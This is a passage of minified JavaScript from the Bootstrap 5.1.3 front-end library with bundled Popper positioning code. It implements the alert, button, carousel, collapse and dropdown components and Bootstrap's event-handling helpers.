r=0;r<o.orderedModifiers.length;r++){if(o.reset===true){o.reset=false;r=-1;continue}var s=o.orderedModifiers[r],a=s.fn,c=s.options,f=c===void 0?{}:c,d=s.name;if(typeof a==="function"){o=a({state:o,options:f,name:d,instance:u})||o}}},update:vn((function(){return new Promise((function(e){u.forceUpdate();e(o)}))})),destroy:function e(){f();l=true}};if(!bn(t,n)){return u}u.setOptions(r).then((function(e){if(!l&&r.onFirstUpdate){r.onFirstUpdate(e)}}));function c(){o.orderedModifiers.forEach((function(e){var t=e.name,n=e.options,i=n===void 0?{}:n,r=e.effect;if(typeof r==="function"){var s=r({state:o,name:t,instance:u,options:i});var l=function e(){};a.push(s||l)}}))}function f(){a.forEach((function(e){return e()}));a=[]}return u}}var wn=_n();var xn=[St,on,Et,Ge];var kn=_n({defaultModifiers:xn});var Cn=[St,on,Et,Ge,rn,Yt,un,bt,en];var En=_n({defaultModifiers:Cn});var An=Object.freeze({__proto__:null,popperGenerator:_n,detectOverflow:Vt,createPopperBase:wn,createPopper:En,createPopperLite:kn,top:ye,bottom:be,right:_e,left:we,auto:xe,basePlacements:ke,start:Ce,end:Ee,clippingParents:Ae,viewport:Te,popper:Se,reference:je,variationPlacements:De,placements:Oe,beforeRead:Ne,read:Pe,afterRead:Le,beforeMain:Fe,main:Ie,afterMain:Me,beforeWrite:$e,write:Re,afterWrite:He,modifierPhases:Be,applyStyles:Ge,arrow:bt,computeStyles:Et,eventListeners:St,flip:Yt,hide:en,offset:rn,popperOffsets:on,preventOverflow:un}); /*! * Bootstrap v5.1.3 (https://getbootstrap.com/) * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */const Tn=1e6;const Sn=1e3;const jn="transitionend";const Dn=e=>{if(e===null||e===undefined){return`${e}`}return{}.toString.call(e).match(/\s([a-z]+)/i)[1].toLowerCase()};const On=e=>{do{e+=Math.floor(Math.random()*Tn)}while(document.getElementById(e));return e};const Nn=e=>{let t=e.getAttribute("data-bs-target");if(!t||t==="#"){let n=e.getAttribute("href");if(!n||!n.includes("#")&&!n.startsWith(".")){return null}if(n.includes("#")&&!n.startsWith("#")){n=`#${n.split("#")[1]}`}t=n&&n!=="#"?n.trim():null}return t};const Pn=e=>{const t=Nn(e);if(t){return document.querySelector(t)?t:null}return null};const Ln=e=>{const t=Nn(e);return t?document.querySelector(t):null};const Fn=e=>{if(!e){return 0}let{transitionDuration:t,transitionDelay:n}=window.getComputedStyle(e);const i=Number.parseFloat(t);const r=Number.parseFloat(n);if(!i&&!r){return 0}t=t.split(",")[0];n=n.split(",")[0];return(Number.parseFloat(t)+Number.parseFloat(n))*Sn};const In=e=>{e.dispatchEvent(new Event(jn))};const Mn=e=>{if(!e||typeof e!=="object"){return false}if(typeof e.jquery!=="undefined"){e=e[0]}return typeof e.nodeType!=="undefined"};const $n=e=>{if(Mn(e)){return e.jquery?e[0]:e}if(typeof e==="string"&&e.length>0){return document.querySelector(e)}return null};const Rn=(e,t,n)=>{Object.keys(n).forEach((i=>{const r=n[i];const s=t[i];const o=s&&Mn(s)?"element":Dn(s);if(!new RegExp(r).test(o)){throw new TypeError(`${e.toUpperCase()}: Option "${i}" provided type "${o}" but expected type "${r}".`)}}))};const Hn=e=>{if(!Mn(e)||e.getClientRects().length===0){return false}return getComputedStyle(e).getPropertyValue("visibility")==="visible"};const Bn=e=>{if(!e||e.nodeType!==Node.ELEMENT_NODE){return true}if(e.classList.contains("disabled")){return true}if(typeof e.disabled!=="undefined"){return e.disabled}return e.hasAttribute("disabled")&&e.getAttribute("disabled")!=="false"};const qn=e=>{if(!document.documentElement.attachShadow){return null}if(typeof e.getRootNode==="function"){const t=e.getRootNode();return t instanceof ShadowRoot?t:null}if(e instanceof ShadowRoot){return e}if(!e.parentNode){return null}return qn(e.parentNode)};const zn=()=>{};const Wn=e=>{e.offsetHeight};const Qn=()=>{const{jQuery:e}=window;if(e&&!document.body.hasAttribute("data-bs-no-jquery")){return e}return null};const Vn=[];const Un=e=>{if(document.readyState==="loading"){if(!Vn.length){document.addEventListener("DOMContentLoaded",(()=>{Vn.forEach((e=>e()))}))}Vn.push(e)}else{e()}};const Kn=()=>document.documentElement.dir==="rtl";const Gn=e=>{Un((()=>{const t=Qn();if(t){const n=e.NAME;const i=t.fn[n];t.fn[n]=e.jQueryInterface;t.fn[n].Constructor=e;t.fn[n].noConflict=()=>{t.fn[n]=i;return e.jQueryInterface}}}))};const Yn=e=>{if(typeof e==="function"){e()}};const Xn=(e,t,n=true)=>{if(!n){Yn(e);return}const i=5;const r=Fn(t)+i;let s=false;const o=({target:n})=>{if(n!==t){return}s=true;t.removeEventListener(jn,o);Yn(e)};t.addEventListener(jn,o);setTimeout((()=>{if(!s){In(t)}}),r)};const Jn=(e,t,n,i)=>{let r=e.indexOf(t);if(r===-1){return e[!n&&i?e.length-1:0]}const s=e.length;r+=n?1:-1;if(i){r=(r+s)%s}return e[Math.max(0,Math.min(r,s-1))]};const Zn=/[^.]*(?=\..*)\.|.*/;const ei=/\..*/;const ti=/::\d+$/;const ni={};let ii=1;const ri={mouseenter:"mouseover",mouseleave:"mouseout"};const si=/^(mouseenter|mouseleave)/i;const oi=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function ai(e,t){return t&&`${t}::${ii++}`||e.uidEvent||ii++}function li(e){const t=ai(e);e.uidEvent=t;ni[t]=ni[t]||{};return ni[t]}function ui(e,t){return function n(i){i.delegateTarget=e;if(n.oneOff){mi.off(e,i.type,t)}return t.apply(e,[i])}}function ci(e,t,n){return function i(r){const s=e.querySelectorAll(t);for(let{target:o}=r;o&&o!==this;o=o.parentNode){for(let a=s.length;a--;){if(s[a]===o){r.delegateTarget=o;if(i.oneOff){mi.off(e,r.type,t,n)}return n.apply(o,[r])}}}return null}}function fi(e,t,n=null){const i=Object.keys(e);for(let r=0,s=i.length;r<s;r++){const s=e[i[r]];if(s.originalHandler===t&&s.delegationSelector===n){return s}}return null}function di(e,t,n){const i=typeof t==="string";const r=i?n:t;let s=vi(e);const o=oi.has(s);if(!o){s=e}return[i,r,s]}function hi(e,t,n,i,r){if(typeof t!=="string"||!e){return}if(!n){n=i;i=null}if(si.test(t)){const e=e=>function(t){if(!t.relatedTarget||t.relatedTarget!==t.delegateTarget&&!t.delegateTarget.contains(t.relatedTarget)){return e.call(this,t)}};if(i){i=e(i)}else{n=e(n)}}const[s,o,a]=di(t,n,i);const l=li(e);const u=l[a]||(l[a]={});const c=fi(u,o,s?n:null);if(c){c.oneOff=c.oneOff&&r;return}const f=ai(o,t.replace(Zn,""));const d=s?ci(e,n,i):ui(e,n);d.delegationSelector=s?n:null;d.originalHandler=o;d.oneOff=r;d.uidEvent=f;u[f]=d;e.addEventListener(a,d,s)}function pi(e,t,n,i,r){const s=fi(t[n],i,r);if(!s){return}e.removeEventListener(n,s,Boolean(r));delete t[n][s.uidEvent]}function gi(e,t,n,i){const r=t[n]||{};Object.keys(r).forEach((s=>{if(s.includes(i)){const i=r[s];pi(e,t,n,i.originalHandler,i.delegationSelector)}}))}function vi(e){e=e.replace(ei,"");return ri[e]||e}const mi={on(e,t,n,i){hi(e,t,n,i,false)},one(e,t,n,i){hi(e,t,n,i,true)},off(e,t,n,i){if(typeof t!=="string"||!e){return}const[r,s,o]=di(t,n,i);const a=o!==t;const l=li(e);const u=t.startsWith(".");if(typeof s!=="undefined"){if(!l||!l[o]){return}pi(e,l,o,s,r?n:null);return}if(u){Object.keys(l).forEach((n=>{gi(e,l,n,t.slice(1))}))}const c=l[o]||{};Object.keys(c).forEach((n=>{const i=n.replace(ti,"");if(!a||t.includes(i)){const t=c[n];pi(e,l,o,t.originalHandler,t.delegationSelector)}}))},trigger(e,t,n){if(typeof t!=="string"||!e){return null}const i=Qn();const r=vi(t);const s=t!==r;const o=oi.has(r);let a;let l=true;let u=true;let c=false;let f=null;if(s&&i){a=i.Event(t,n);i(e).trigger(a);l=!a.isPropagationStopped();u=!a.isImmediatePropagationStopped();c=a.isDefaultPrevented()}if(o){f=document.createEvent("HTMLEvents");f.initEvent(r,l,true)}else{f=new CustomEvent(t,{bubbles:l,cancelable:true})}if(typeof n!=="undefined"){Object.keys(n).forEach((e=>{Object.defineProperty(f,e,{get(){return n[e]}})}))}if(c){f.preventDefault()}if(u){e.dispatchEvent(f)}if(f.defaultPrevented&&typeof a!=="undefined"){a.preventDefault()}return f}};const yi=new Map;const bi={set(e,t,n){if(!yi.has(e)){yi.set(e,new Map)}const i=yi.get(e);if(!i.has(t)&&i.size!==0){console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(i.keys())[0]}.`);return}i.set(t,n)},get(e,t){if(yi.has(e)){return yi.get(e).get(t)||null}return null},remove(e,t){if(!yi.has(e)){return}const n=yi.get(e);n.delete(t);if(n.size===0){yi.delete(e)}}};const _i="5.1.3";class wi{constructor(e){e=$n(e);if(!e){return}this._element=e;bi.set(this._element,this.constructor.DATA_KEY,this)}dispose(){bi.remove(this._element,this.constructor.DATA_KEY);mi.off(this._element,this.constructor.EVENT_KEY);Object.getOwnPropertyNames(this).forEach((e=>{this[e]=null}))}_queueCallback(e,t,n=true){Xn(e,t,n)}static getInstance(e){return bi.get($n(e),this.DATA_KEY)}static getOrCreateInstance(e,t={}){return this.getInstance(e)||new this(e,typeof t==="object"?t:null)}static get VERSION(){return _i}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}}const xi=(e,t="hide")=>{const n=`click.dismiss${e.EVENT_KEY}`;const i=e.NAME;mi.on(document,n,`[data-bs-dismiss="${i}"]`,(function(n){if(["A","AREA"].includes(this.tagName)){n.preventDefault()}if(Bn(this)){return}const r=Ln(this)||this.closest(`.${i}`);const s=e.getOrCreateInstance(r);s[t]()}))};const ki="alert";const Ci="bs.alert";const Ei=`.${Ci}`;const Ai=`close${Ei}`;const Ti=`closed${Ei}`;const Si="fade";const ji="show";class Di extends wi{static get NAME(){return ki}close(){const e=mi.trigger(this._element,Ai);if(e.defaultPrevented){return}this._element.classList.remove(ji);const t=this._element.classList.contains(Si);this._queueCallback((()=>this._destroyElement()),this._element,t)}_destroyElement(){this._element.remove();mi.trigger(this._element,Ti);this.dispose()}static jQueryInterface(e){return this.each((function(){const t=Di.getOrCreateInstance(this);if(typeof e!=="string"){return}if(t[e]===undefined||e.startsWith("_")||e==="constructor"){throw new TypeError(`No method named "${e}"`)}t[e](this)}))}}xi(Di,"close");Gn(Di);const Oi="button";const Ni="bs.button";const Pi=`.${Ni}`;const Li=".data-api";const Fi="active";const Ii='[data-bs-toggle="button"]';const Mi=`click${Pi}${Li}`;class $i extends wi{static get NAME(){return Oi}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle(Fi))}static jQueryInterface(e){return this.each((function(){const t=$i.getOrCreateInstance(this);if(e==="toggle"){t[e]()}}))}}mi.on(document,Mi,Ii,(e=>{e.preventDefault();const t=e.target.closest(Ii);const n=$i.getOrCreateInstance(t);n.toggle()}));Gn($i);function Ri(e){if(e==="true"){return true}if(e==="false"){return false}if(e===Number(e).toString()){return Number(e)}if(e===""||e==="null"){return null}return e}function Hi(e){return e.replace(/[A-Z]/g,(e=>`-${e.toLowerCase()}`))}const Bi={setDataAttribute(e,t,n){e.setAttribute(`data-bs-${Hi(t)}`,n)},removeDataAttribute(e,t){e.removeAttribute(`data-bs-${Hi(t)}`)},getDataAttributes(e){if(!e){return{}}const t={};Object.keys(e.dataset).filter((e=>e.startsWith("bs"))).forEach((n=>{let i=n.replace(/^bs/,"");i=i.charAt(0).toLowerCase()+i.slice(1,i.length);t[i]=Ri(e.dataset[n])}));return t},getDataAttribute(e,t){return Ri(e.getAttribute(`data-bs-${Hi(t)}`))},offset(e){const t=e.getBoundingClientRect();return{top:t.top+window.pageYOffset,left:t.left+window.pageXOffset}},position(e){return{top:e.offsetTop,left:e.offsetLeft}}};const qi=3;const zi={find(e,t=document.documentElement){return[].concat(...Element.prototype.querySelectorAll.call(t,e))},findOne(e,t=document.documentElement){return Element.prototype.querySelector.call(t,e)},children(e,t){return[].concat(...e.children).filter((e=>e.matches(t)))},parents(e,t){const n=[];let i=e.parentNode;while(i&&i.nodeType===Node.ELEMENT_NODE&&i.nodeType!==qi){if(i.matches(t)){n.push(i)}i=i.parentNode}return n},prev(e,t){let n=e.previousElementSibling;while(n){if(n.matches(t)){return[n]}n=n.previousElementSibling}return[]},next(e,t){let n=e.nextElementSibling;while(n){if(n.matches(t)){return[n]}n=n.nextElementSibling}return[]},focusableChildren(e){const t=["a","button","input","textarea","select","details","[tabindex]",'[contenteditable="true"]'].map((e=>`${e}:not([tabindex^="-"])`)).join(", ");return this.find(t,e).filter((e=>!Bn(e)&&Hn(e)))}};const Wi="carousel";const Qi="bs.carousel";const Vi=`.${Qi}`;const Ui=".data-api";const Ki="ArrowLeft";const Gi="ArrowRight";const Yi=500;const Xi=40;const Ji={interval:5e3,keyboard:true,slide:false,pause:"hover",wrap:true,touch:true};const Zi={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"};const er="next";const tr="prev";const nr="left";const ir="right";const rr={[Ki]:ir,[Gi]:nr};const sr=`slide${Vi}`;const or=`slid${Vi}`;const ar=`keydown${Vi}`;const lr=`mouseenter${Vi}`;const ur=`mouseleave${Vi}`;const cr=`touchstart${Vi}`;const fr=`touchmove${Vi}`;const dr=`touchend${Vi}`;const hr=`pointerdown${Vi}`;const pr=`pointerup${Vi}`;const gr=`dragstart${Vi}`;const vr=`load${Vi}${Ui}`;const mr=`click${Vi}${Ui}`;const yr="carousel";const br="active";const _r="slide";const wr="carousel-item-end";const xr="carousel-item-start";const kr="carousel-item-next";const Cr="carousel-item-prev";const Er="pointer-event";const Ar=".active";const Tr=".active.carousel-item";const Sr=".carousel-item";const jr=".carousel-item img";const Dr=".carousel-item-next, .carousel-item-prev";const Or=".carousel-indicators";const Nr="[data-bs-target]";const Pr="[data-bs-slide], [data-bs-slide-to]";const Lr='[data-bs-ride="carousel"]';const Fr="touch";const Ir="pen";class Mr extends wi{constructor(e,t){super(e);this._items=null;this._interval=null;this._activeElement=null;this._isPaused=false;this._isSliding=false;this.touchTimeout=null;this.touchStartX=0;this.touchDeltaX=0;this._config=this._getConfig(t);this._indicatorsElement=zi.findOne(Or,this._element);this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0;this._pointerEvent=Boolean(window.PointerEvent);this._addEventListeners()}static get Default(){return Ji}static get NAME(){return Wi}next(){this._slide(er)}nextWhenVisible(){if(!document.hidden&&Hn(this._element)){this.next()}}prev(){this._slide(tr)}pause(e){if(!e){this._isPaused=true}if(zi.findOne(Dr,this._element)){In(this._element);this.cycle(true)}clearInterval(this._interval);this._interval=null}cycle(e){if(!e){this._isPaused=false}if(this._interval){clearInterval(this._interval);this._interval=null}if(this._config&&this._config.interval&&!this._isPaused){this._updateInterval();this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval)}}to(e){this._activeElement=zi.findOne(Tr,this._element);const t=this._getItemIndex(this._activeElement);if(e>this._items.length-1||e<0){return}if(this._isSliding){mi.one(this._element,or,(()=>this.to(e)));return}if(t===e){this.pause();this.cycle();return}const n=e>t?er:tr;this._slide(n,this._items[e])}_getConfig(e){e={...Ji,...Bi.getDataAttributes(this._element),...typeof e==="object"?e:{}};Rn(Wi,e,Zi);return e}_handleSwipe(){const e=Math.abs(this.touchDeltaX);if(e<=Xi){return}const t=e/this.touchDeltaX;this.touchDeltaX=0;if(!t){return}this._slide(t>0?ir:nr)}_addEventListeners(){if(this._config.keyboard){mi.on(this._element,ar,(e=>this._keydown(e)))}if(this._config.pause==="hover"){mi.on(this._element,lr,(e=>this.pause(e)));mi.on(this._element,ur,(e=>this.cycle(e)))}if(this._config.touch&&this._touchSupported){this._addTouchEventListeners()}}_addTouchEventListeners(){const e=e=>this._pointerEvent&&(e.pointerType===Ir||e.pointerType===Fr);const t=t=>{if(e(t)){this.touchStartX=t.clientX}else if(!this._pointerEvent){this.touchStartX=t.touches[0].clientX}};const n=e=>{this.touchDeltaX=e.touches&&e.touches.length>1?0:e.touches[0].clientX-this.touchStartX};const i=t=>{if(e(t)){this.touchDeltaX=t.clientX-this.touchStartX}this._handleSwipe();if(this._config.pause==="hover"){this.pause();if(this.touchTimeout){clearTimeout(this.touchTimeout)}this.touchTimeout=setTimeout((e=>this.cycle(e)),Yi+this._config.interval)}};zi.find(jr,this._element).forEach((e=>{mi.on(e,gr,(e=>e.preventDefault()))}));if(this._pointerEvent){mi.on(this._element,hr,(e=>t(e)));mi.on(this._element,pr,(e=>i(e)));this._element.classList.add(Er)}else{mi.on(this._element,cr,(e=>t(e)));mi.on(this._element,fr,(e=>n(e)));mi.on(this._element,dr,(e=>i(e)))}}_keydown(e){if(/input|textarea/i.test(e.target.tagName)){return}const t=rr[e.key];if(t){e.preventDefault();this._slide(t)}}_getItemIndex(e){this._items=e&&e.parentNode?zi.find(Sr,e.parentNode):[];return this._items.indexOf(e)}_getItemByOrder(e,t){const n=e===er;return Jn(this._items,t,n,this._config.wrap)}_triggerSlideEvent(e,t){const n=this._getItemIndex(e);const i=this._getItemIndex(zi.findOne(Tr,this._element));return mi.trigger(this._element,sr,{relatedTarget:e,direction:t,from:i,to:n})}_setActiveIndicatorElement(e){if(this._indicatorsElement){const t=zi.findOne(Ar,this._indicatorsElement);t.classList.remove(br);t.removeAttribute("aria-current");const n=zi.find(Nr,this._indicatorsElement);for(let t=0;t<n.length;t++){if(Number.parseInt(n[t].getAttribute("data-bs-slide-to"),10)===this._getItemIndex(e)){n[t].classList.add(br);n[t].setAttribute("aria-current","true");break}}}}_updateInterval(){const e=this._activeElement||zi.findOne(Tr,this._element);if(!e){return}const t=Number.parseInt(e.getAttribute("data-bs-interval"),10);if(t){this._config.defaultInterval=this._config.defaultInterval||this._config.interval;this._config.interval=t}else{this._config.interval=this._config.defaultInterval||this._config.interval}}_slide(e,t){const n=this._directionToOrder(e);const i=zi.findOne(Tr,this._element);const r=this._getItemIndex(i);const s=t||this._getItemByOrder(n,i);const o=this._getItemIndex(s);const a=Boolean(this._interval);const l=n===er;const u=l?xr:wr;const c=l?kr:Cr;const f=this._orderToDirection(n);if(s&&s.classList.contains(br)){this._isSliding=false;return}if(this._isSliding){return}const d=this._triggerSlideEvent(s,f);if(d.defaultPrevented){return}if(!i||!s){return}this._isSliding=true;if(a){this.pause()}this._setActiveIndicatorElement(s);this._activeElement=s;const h=()=>{mi.trigger(this._element,or,{relatedTarget:s,direction:f,from:r,to:o})};if(this._element.classList.contains(_r)){s.classList.add(c);Wn(s);i.classList.add(u);s.classList.add(u);const e=()=>{s.classList.remove(u,c);s.classList.add(br);i.classList.remove(br,c,u);this._isSliding=false;setTimeout(h,0)};this._queueCallback(e,i,true)}else{i.classList.remove(br);s.classList.add(br);this._isSliding=false;h()}if(a){this.cycle()}}_directionToOrder(e){if(![ir,nr].includes(e)){return e}if(Kn()){return e===nr?tr:er}return e===nr?er:tr}_orderToDirection(e){if(![er,tr].includes(e)){return e}if(Kn()){return e===tr?nr:ir}return e===tr?ir:nr}static carouselInterface(e,t){const n=Mr.getOrCreateInstance(e,t);let{_config:i}=n;if(typeof t==="object"){i={...i,...t}}const r=typeof t==="string"?t:i.slide;if(typeof t==="number"){n.to(t)}else if(typeof r==="string"){if(typeof n[r]==="undefined"){throw new TypeError(`No method named "${r}"`)}n[r]()}else if(i.interval&&i.ride){n.pause();n.cycle()}}static jQueryInterface(e){return this.each((function(){Mr.carouselInterface(this,e)}))}static dataApiClickHandler(e){const t=Ln(this);if(!t||!t.classList.contains(yr)){return}const n={...Bi.getDataAttributes(t),...Bi.getDataAttributes(this)};const i=this.getAttribute("data-bs-slide-to");if(i){n.interval=false}Mr.carouselInterface(t,n);if(i){Mr.getInstance(t).to(i)}e.preventDefault()}}mi.on(document,mr,Pr,Mr.dataApiClickHandler);mi.on(window,vr,(()=>{const e=zi.find(Lr);for(let t=0,n=e.length;t<n;t++){Mr.carouselInterface(e[t],Mr.getInstance(e[t]))}}));Gn(Mr);const $r="collapse";const Rr="bs.collapse";const Hr=`.${Rr}`;const Br=".data-api";const qr={toggle:true,parent:null};const zr={toggle:"boolean",parent:"(null|element)"};const Wr=`show${Hr}`;const Qr=`shown${Hr}`;const Vr=`hide${Hr}`;const Ur=`hidden${Hr}`;const Kr=`click${Hr}${Br}`;const Gr="show";const Yr="collapse";const Xr="collapsing";const Jr="collapsed";const Zr=`:scope .${Yr} .${Yr}`;const es="collapse-horizontal";const ts="width";const ns="height";const is=".collapse.show, .collapse.collapsing";const rs='[data-bs-toggle="collapse"]';class ss extends wi{constructor(e,t){super(e);this._isTransitioning=false;this._config=this._getConfig(t);this._triggerArray=[];const n=zi.find(rs);for(let e=0,t=n.length;e<t;e++){const t=n[e];const i=Pn(t);const r=zi.find(i).filter((e=>e===this._element));if(i!==null&&r.length){this._selector=i;this._triggerArray.push(t)}}this._initializeChildren();if(!this._config.parent){this._addAriaAndCollapsedClass(this._triggerArray,this._isShown())}if(this._config.toggle){this.toggle()}}static get Default(){return qr}static get NAME(){return $r}toggle(){if(this._isShown()){this.hide()}else{this.show()}}show(){if(this._isTransitioning||this._isShown()){return}let e=[];let t;if(this._config.parent){const t=zi.find(Zr,this._config.parent);e=zi.find(is,this._config.parent).filter((e=>!t.includes(e)))}const n=zi.findOne(this._selector);if(e.length){const i=e.find((e=>n!==e));t=i?ss.getInstance(i):null;if(t&&t._isTransitioning){return}}const i=mi.trigger(this._element,Wr);if(i.defaultPrevented){return}e.forEach((e=>{if(n!==e){ss.getOrCreateInstance(e,{toggle:false}).hide()}if(!t){bi.set(e,Rr,null)}}));const r=this._getDimension();this._element.classList.remove(Yr);this._element.classList.add(Xr);this._element.style[r]=0;this._addAriaAndCollapsedClass(this._triggerArray,true);this._isTransitioning=true;const s=()=>{this._isTransitioning=false;this._element.classList.remove(Xr);this._element.classList.add(Yr,Gr);this._element.style[r]="";mi.trigger(this._element,Qr)};const o=r[0].toUpperCase()+r.slice(1);const a=`scroll${o}`;this._queueCallback(s,this._element,true);this._element.style[r]=`${this._element[a]}px`}hide(){if(this._isTransitioning||!this._isShown()){return}const e=mi.trigger(this._element,Vr);if(e.defaultPrevented){return}const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`;Wn(this._element);this._element.classList.add(Xr);this._element.classList.remove(Yr,Gr);const n=this._triggerArray.length;for(let e=0;e<n;e++){const t=this._triggerArray[e];const n=Ln(t);if(n&&!this._isShown(n)){this._addAriaAndCollapsedClass([t],false)}}this._isTransitioning=true;const i=()=>{this._isTransitioning=false;this._element.classList.remove(Xr);this._element.classList.add(Yr);mi.trigger(this._element,Ur)};this._element.style[t]="";this._queueCallback(i,this._element,true)}_isShown(e=this._element){return e.classList.contains(Gr)}_getConfig(e){e={...qr,...Bi.getDataAttributes(this._element),...e};e.toggle=Boolean(e.toggle);e.parent=$n(e.parent);Rn($r,e,zr);return e}_getDimension(){return this._element.classList.contains(es)?ts:ns}_initializeChildren(){if(!this._config.parent){return}const e=zi.find(Zr,this._config.parent);zi.find(rs,this._config.parent).filter((t=>!e.includes(t))).forEach((e=>{const t=Ln(e);if(t){this._addAriaAndCollapsedClass([e],this._isShown(t))}}))}_addAriaAndCollapsedClass(e,t){if(!e.length){return}e.forEach((e=>{if(t){e.classList.remove(Jr)}else{e.classList.add(Jr)}e.setAttribute("aria-expanded",t)}))}static jQueryInterface(e){return this.each((function(){const t={};if(typeof e==="string"&&/show|hide/.test(e)){t.toggle=false}const n=ss.getOrCreateInstance(this,t);if(typeof e==="string"){if(typeof n[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}n[e]()}}))}}mi.on(document,Kr,rs,(function(e){if(e.target.tagName==="A"||e.delegateTarget&&e.delegateTarget.tagName==="A"){e.preventDefault()}const t=Pn(this);const n=zi.find(t);n.forEach((e=>{ss.getOrCreateInstance(e,{toggle:false}).toggle()}))}));Gn(ss);const os="dropdown";const as="bs.dropdown";const ls=`.${as}`;const us=".data-api";const cs="Escape";const fs="Space";const ds="Tab";const hs="ArrowUp";const ps="ArrowDown";const gs=2;const vs=new RegExp(`${hs}|${ps}|${cs}`);const ms=`hide${ls}`;const ys=`hidden${ls}`;const bs=`show${ls}`;const _s=`shown${ls}`;const ws=`click${ls}${us}`;const xs=`keydown${ls}${us}`;const ks=`keyup${ls}${us}`;const Cs="show";const Es="dropup";const As="dropend";const Ts="dropstart";const Ss="navbar";const js='[data-bs-toggle="dropdown"]';const Ds=".dropdown-menu";const Os=".navbar-nav";const Ns=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)";const Ps=Kn()?"top-end":"top-start";const Ls=Kn()?"top-start":"top-end";const Fs=Kn()?"bottom-end":"bottom-start";const Is=Kn()?"bottom-start":"bottom-end";const Ms=Kn()?"left-start":"right-start";const $s=Kn()?"right-start":"left-start";const Rs={offset:[0,2],boundary:"clippingParents",reference:"toggle",display:"dynamic",popperConfig:null,autoClose:true};const Hs={offset:"(array|string|function)",boundary:"(string|element)",reference:"(string|element|object)",display:"string",popperConfig:"(null|object|function)",autoClose:"(boolean|string)"};class Bs extends wi{constructor(e,t){super(e);this._popper=null;this._config=this._getConfig(t);this._menu=this._getMenuElement();this._inNavbar=this._detectNavbar()}static get Default(){return Rs}static get DefaultType(){return Hs}static get NAME(){return os}toggle(){return this._isShown()?this.hide():this.show()}show(){if(Bn(this._element)||this._isShown(this._menu)){return}const e={relatedTarget:this._element};const t=mi.trigger(this._element,bs,e);if(t.defaultPrevented){return}const n=Bs.getParentFromElement(this._element);if(this._inNavbar){Bi.setDataAttribute(this._menu,"popper","none")}else{this._createPopper(n)}if("ontouchstart"in document.documentElement&&!n.closest(Os)){[].concat(...document.body.children).forEach((e=>mi.on(e,"mouseover",zn)))}this._element.focus();this._element.setAttribute("aria-expanded",true);this._menu.classList.add(Cs);this._element.classList.add(Cs);mi.trigger(this._element,_s,e)}hide(){if(Bn(this._element)||!this._isShown(this._menu)){return}const e={relatedTarget:this._element};this._completeHide(e)}dispose(){if(this._popper){this._popper.destroy()}super.dispose()}update(){this._inNavbar=this._detectNavbar();if(this._popper){this._popper.update()}}_completeHide(e){const t=mi.trigger(this._element,ms,e);if(t.defaultPrevented){return}if("ontouchstart"in document.documentElement){[].concat(...document.body.children).forEach((e=>mi.off(e,"mouseover",zn)))}if(this._popper){this._popper.destroy()}this._menu.classList.remove(Cs);this._element.classList.remove(Cs);this._element.setAttribute("aria-expanded","false");Bi.removeDataAttribute(this._menu,"popper");mi.trigger(this._element,ys,e)}_getConfig(e){e={...this.constructor.Default,...Bi.getDataAttributes(this._element),...e};Rn(os,e,this.constructor.DefaultType);if(typeof e.reference==="object"&&!Mn(e.reference)&&typeof e.reference.getBoundingClientRect!=="function"){throw new TypeError(`${os.toUpperCase()}: Option "reference" provided type "object" without a required "getBoundingClientRect" method.`)}return e}_createPopper(e){if(typeof An==="undefined"){throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)")}let t=this._element;if(this._config.reference==="parent"){t=e}else if(Mn(this._config.reference)){t=$n(this._config.reference)}else if(typeof this._config.reference==="object"){t=this._config.reference}const n=this._getPopperConfig();const i=n.modifiers.find((e=>e.name==="applyStyles"&&e.enabled===false));this._popper=En(t,this._menu,n);if(i){Bi.setDataAttribute(this._menu,"popper","static")}}_isShown(e=this._element){return e.classList.contains(Cs)}_getMenuElement(){return zi.next(this._element,Ds)[0]}_getPlacement(){const e=this._element.parentNode;if(e.classList.contains(As)){return Ms}if(e.classList.contains(Ts)){return $s}const t=getComputedStyle(this._menu).getPropertyValue("--bs-position").trim()==="end";if(e.classList.contains(Es)){return t?Ls:Ps}return t?Is:Fs}_detectNavbar(){return this._element.closest(`.${Ss}`)!==null}_getOffset(){const{offset:e}=this._config;if(typeof e==="string"){return e.split(",").map((e=>Number.parseInt(e,10)))}if(typeof e==="function"){return t=>e(t,this._element)}return e}_getPopperConfig(){const e={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};if(this._config.display==="static"){e.modifiers=[{name:"applyStyles",enabled:false}]}return{...e,...typeof this._config.popperConfig==="function"?this._config.popperConfig(e):this._config.popperConfig}}_selectMenuItem({key:e,target:t}){const n=zi.find(Ns,this._menu).filter(Hn);if(!n.length){return}Jn(n,t,e===ps,!n.includes(t)).focus()}static jQueryInterface(e){return this.each((function(){const t=Bs.getOrCreateInstance(this,e);if(typeof e!=="string"){return}if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e]()}))}static clearMenus(e){if(e&&(e.button===gs||e.type==="keyup"&&e.key!==ds)){return}const t=zi.find(js);for(let n=0,i=t.length;n<i;n++){const i=Bs.getInstance(t[n]);if(!i||i._config.autoClose===false){continue}if(!i._isShown()){continue}const r={relatedTarget:i._element};if(e){const t=e.composedPath();const 